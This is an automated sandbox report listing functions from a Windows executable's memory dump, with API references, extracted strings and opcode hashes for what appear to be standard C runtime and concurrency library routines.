Function 006BEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006BEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 006BEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 006BEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 006BEF0F
Concurrency::Context::Block.LIBCONCRT ref: 006BEF31

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: c07e7c728b5c4552c37efae67053f005ab94c624f460ea98176bc4c07ff80345
Instruction ID: 00da7e83deecdd1f710240a5c2ee1b4f65166d246a83d8a9d1ad30d46b617301
Opcode Fuzzy Hash: c07e7c728b5c4552c37efae67053f005ab94c624f460ea98176bc4c07ff80345
Instruction Fuzzy Hash: 6C216DB0C002098ADF74EFA4C8456FEBBF6BF14320F10062DE051A62D1E7728AC5CB55

Function 006DCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006DCC66

Strings

vm, xrefs: 006DCBE1

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vm
API String ID: 3213747228-2924959497
Opcode ID: 59c984e0335d750eb7e229aa4273084cd5aafbd0618d532e588fc2a2f53891da
Instruction ID: f1822446de148d460dd35c1ead495d750b7ef29c37b1f46b5290e5a8d0b8e683
Opcode Fuzzy Hash: 59c984e0335d750eb7e229aa4273084cd5aafbd0618d532e588fc2a2f53891da
Instruction Fuzzy Hash: 61B10472D0568A9FDB118F68C8417EEBBE7EF45360F1441ABE945DB341D6348D02CBA4

Function 006D4F37 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,006D4F2E,006D3AF2,006BB555,882874E3,?,00000000,006EB3E8,000000FF,?,006A242A,?,?), ref: 006D4F45
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 006D4F53
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006D4F6C
SetLastError.KERNEL32(00000000,?,006D4F2E,006D3AF2,006BB555,882874E3,?,00000000,006EB3E8,000000FF,?,006A242A,?,?), ref: 006D4FBE

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 96115c7cca6b38d1b17f1c3f82a03dcda7ab30d3d7c91ecb27590e4c598c0afd
Instruction ID: 9e5b54e1a1c6187198a58aebab2092b848d34dfa79110bc730ee7e8d6263d106
Opcode Fuzzy Hash: 96115c7cca6b38d1b17f1c3f82a03dcda7ab30d3d7c91ecb27590e4c598c0afd
Instruction Fuzzy Hash: 8601B533D093119FE7641B74AC499666697EB427B4730032FF428413F2EF654C029688

Function 006BFC1B Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 006BFC29
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 006BFC2F
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 006BFC5C
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 006BFC66
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 006BFC78
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006BFC8E

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: da5ab3215c812a678383b087f853132d1d6ca03dd740eba9fe64f7af462aee03
Instruction ID: 89f13ab701ab0ac43b117ec1385ff804889026a2b469f6793cd9ceeede006e12
Opcode Fuzzy Hash: da5ab3215c812a678383b087f853132d1d6ca03dd740eba9fe64f7af462aee03
Instruction Fuzzy Hash: E901DF71600119ABE700AB72EC49EFB3F6BAB40351B20083AF905E2262DB24D984CB64

Function 006E26F2 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,006F6758), ref: 006E275C
_free.LIBCMT ref: 006E274A

Part of subcall function 006DADF5: HeapFree.KERNEL32(00000000,00000000,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?), ref: 006DAE0B
Part of subcall function 006DADF5: GetLastError.KERNEL32(?,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?,?), ref: 006DAE1D

_free.LIBCMT ref: 006E2916

Strings

Xgo, xrefs: 006E2879
Xgo, xrefs: 006E2705, 006E270B

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: Xgo$Xgo
API String ID: 2155170405-965435672
Opcode ID: e36d1a27879dd767f4658a554be0be5f9e17262febde986993d33f78ef52beee
Instruction ID: a7af230280093d1f114ce8d8386126c367d53aa49f2204b4fbf0d474f7bc53b0
Opcode Fuzzy Hash: e36d1a27879dd767f4658a554be0be5f9e17262febde986993d33f78ef52beee
Instruction Fuzzy Hash: 445108B2D01356EBDB10EF66CC619EEB7BFEF40310B10426EE510A7291EB749E458B54

Function 006ADBE0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

list too long, xrefs: 006AE09D

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: mtx_do_lock
String ID: list too long
API String ID: 1389037287-1124181908
Opcode ID: e2da4390a0cbdfa83763358a66ab1a486c019d56ef33de3446326ff301bfe78e
Instruction ID: 95dbe979b0aa8cf88419b4397b547dfd7353b6d4e4ccda13b78b09e25da4b74c
Opcode Fuzzy Hash: e2da4390a0cbdfa83763358a66ab1a486c019d56ef33de3446326ff301bfe78e
Instruction Fuzzy Hash: C251B5B1D047189BDB10DF64CC49BD9B7B9EF14710F1041A9F809A7281EB75AE81CF65

Function 006D4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 006D4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 006D4E86
PMDtoOffset.LIBCMT ref: 006D4EAC

Strings

Bad dynamic_cast!, xrefs: 006D4EEE

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 7702fe3667321b0165ab3d3817f164616dabe2e89fd7d40f043a41f503253cb6
Instruction ID: 30ba8ff83fa17298a56d5b1dae8322e8c45e793cf64da846f2a7de6ae9b6ad63
Opcode Fuzzy Hash: 7702fe3667321b0165ab3d3817f164616dabe2e89fd7d40f043a41f503253cb6
Instruction Fuzzy Hash: C321A372E04205AFCF24DF68D946EAA77AAFF84724B10412BF91197380DF31ED008695

Function 006D182A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 006D1885
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006D18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006D18EB

Strings

pContext, xrefs: 006D189C

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1284976207-2046700901
Opcode ID: 16dcbf7002b9a6c77d0ed6418db886fdc1b5aced92df4f9f4cd852131896010c
Instruction ID: 4d0c39edbcbc79596f8ac6a466fa0af4baeaa2d4aacf4e28de718b5fe024f177
Opcode Fuzzy Hash: 16dcbf7002b9a6c77d0ed6418db886fdc1b5aced92df4f9f4cd852131896010c
Instruction Fuzzy Hash: EF21E731F00615ABCB14E768D855AFD73ABBF96334B04012BE5118B3D1CBE4E941DA95

Function 006D727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006D72BE

Strings

.exe, xrefs: 006D72CB
.com, xrefs: 006D72FE
.cmd, xrefs: 006D72DC
.bat, xrefs: 006D72ED

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: e9c7d276a17a8c85626badd4f06ebdabac8e3346b443acbeb1a54caf7926c6e0
Instruction ID: 57e6396b3327ec0d458983a7e1b743b1ba5b2ade872a2982e4e4c1dcb6d189c4
Opcode Fuzzy Hash: e9c7d276a17a8c85626badd4f06ebdabac8e3346b443acbeb1a54caf7926c6e0
Instruction Fuzzy Hash: 65012627F18A2725671410199D02BB6179B9BC2BB4B2B002FFC54F73C1FF44DC4261A6

Function 006C4EA2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 006C4F01
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 006C4F66

Strings

count, xrefs: 006C4EBA
ppVirtualProcessorRoots, xrefs: 006C4F1C

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 18808576-3650809737
Opcode ID: f883e450d67558f5b6d12217713938fdf5b34293904bba97abad52c6cf734546
Instruction ID: d5480a9f7bede22e10c932c2afca99720f4f9b2f20a9f43ab5a69e1df5fd5742
Opcode Fuzzy Hash: f883e450d67558f5b6d12217713938fdf5b34293904bba97abad52c6cf734546
Instruction Fuzzy Hash: C821BD34600219EFCB14EFA8C8A1EBD77B6FF48310F00406DE5169B692DF71AA01CB95

Function 006DA671 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,006D694A,?,?,?,?,006D7661,?), ref: 006DA676
_free.LIBCMT ref: 006DA6D3
_free.LIBCMT ref: 006DA709
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,006D694A,?,?,?,?,006D7661,?), ref: 006DA714

Strings

x!p, xrefs: 006DA6FC

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: x!p
API String ID: 2283115069-2033812517
Opcode ID: 3215b03f01b8eeae630edf2d54b601e4682cc24421e89b10a734539b049bdae3
Instruction ID: bff95c496a2d97abafc2cf5c299dfcdacb0445ed29f4d07aae532a3f588822c0
Opcode Fuzzy Hash: 3215b03f01b8eeae630edf2d54b601e4682cc24421e89b10a734539b049bdae3
Instruction Fuzzy Hash: 3F110632E08344EED752B7F49C89D6B21AB9BC4375729122FF224863E6DE65CC13521A

Function 006DA7C8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,006D75FB,006A2247), ref: 006DA7CD
_free.LIBCMT ref: 006DA82A
_free.LIBCMT ref: 006DA860
SetLastError.KERNEL32(00000000,00000006,000000FF,?,006D75FB,006A2247), ref: 006DA86B

Strings

x!p, xrefs: 006DA853

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: x!p
API String ID: 2283115069-2033812517
Opcode ID: 3b7a9db6d2c920678ea19fddc6f9d762a361c6afa2626d5fda4954016feed110
Instruction ID: f0c3235b795393b43939beddbf3dbab037382d2b370cfec55bfa41e8e2b167e2
Opcode Fuzzy Hash: 3b7a9db6d2c920678ea19fddc6f9d762a361c6afa2626d5fda4954016feed110
Instruction Fuzzy Hash: 98114C32E08304AAD751B7F59C85D2721ABEFC4375725532FF614823D6EE658C13511A

Function 006D5FB7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 006D6007

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: f74620fe00460c0f142f7d7999b9b6b76cd4fd8c67fd7e3e096d9e368431b944
Instruction ID: 52e85c368d482fe050ed5c62b9e11cb4e5a12e288593b22e4063f91bf761d39c
Opcode Fuzzy Hash: f74620fe00460c0f142f7d7999b9b6b76cd4fd8c67fd7e3e096d9e368431b944
Instruction Fuzzy Hash: B611EB31E41625EBDB324B68DE84ABA375B9F197B0B210613F902A7391D771ED01CAE0

Function 006D2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 006D20B7
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006D20C8
StructuredWorkStealingQueue.LIBCMT ref: 006D20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006D210F

Strings

e, xrefs: 006D20D9

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 12ad74a34a7dab2573eafea4664063220c6864a612a2da8a51a0710943c03ad6
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 60119431900106ABDB55DE69CCA5BAA73A6EF62324B14C15FFD069F302DB71D901CB91

Function 006D656D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,006D6562,?,?,006D652A,?,?,?), ref: 006D6582
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 006D6595
FreeLibrary.KERNEL32(00000000,?,?,006D6562,?,?,006D652A,?,?,?), ref: 006D65B8

Strings

mscoree.dll, xrefs: 006D657B
CorExitProcess, xrefs: 006D658D

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 431238ba7fb890f2837273a7ec2ad02d7fe892584202668348fdcc0460eef9b9
Instruction ID: 6da2218ae1bd036e1ebbd83e20a7bc18756317b4faffb8e3bffbd474272c4cad
Opcode Fuzzy Hash: 431238ba7fb890f2837273a7ec2ad02d7fe892584202668348fdcc0460eef9b9
Instruction Fuzzy Hash: 2CF08231901219FBDB119B94DD0DFEE7A7BDB00755F104051F800A1260CB709F50DBA0

Function 006BD199 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,006BD136,00000064), ref: 006BD1BC
RtlLeaveCriticalSection.NTDLL(00705750), ref: 006BD1C6
WaitForSingleObjectEx.KERNEL32(00708680,00000000,?,006BD136,00000064,?,75920F00,?,006A75ED,00708680), ref: 006BD1D7
RtlEnterCriticalSection.NTDLL(00705750), ref: 006BD1DE

Strings

PWp, xrefs: 006BD1C0

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: PWp
API String ID: 3269011525-906120461
Opcode ID: f5f18d0671ead463b5815630b3e1941b33d11db2c2f219d91cecc63db835286b
Instruction ID: d842513b0933b41edb3484cac27ee82b6d47cfb3efed275643806cd29dbd0545
Opcode Fuzzy Hash: f5f18d0671ead463b5815630b3e1941b33d11db2c2f219d91cecc63db835286b
Instruction Fuzzy Hash: 76E0D831501624F7CB021B84EC0CADF3F6AEB05710B046120F60566170CBA45940EFD9

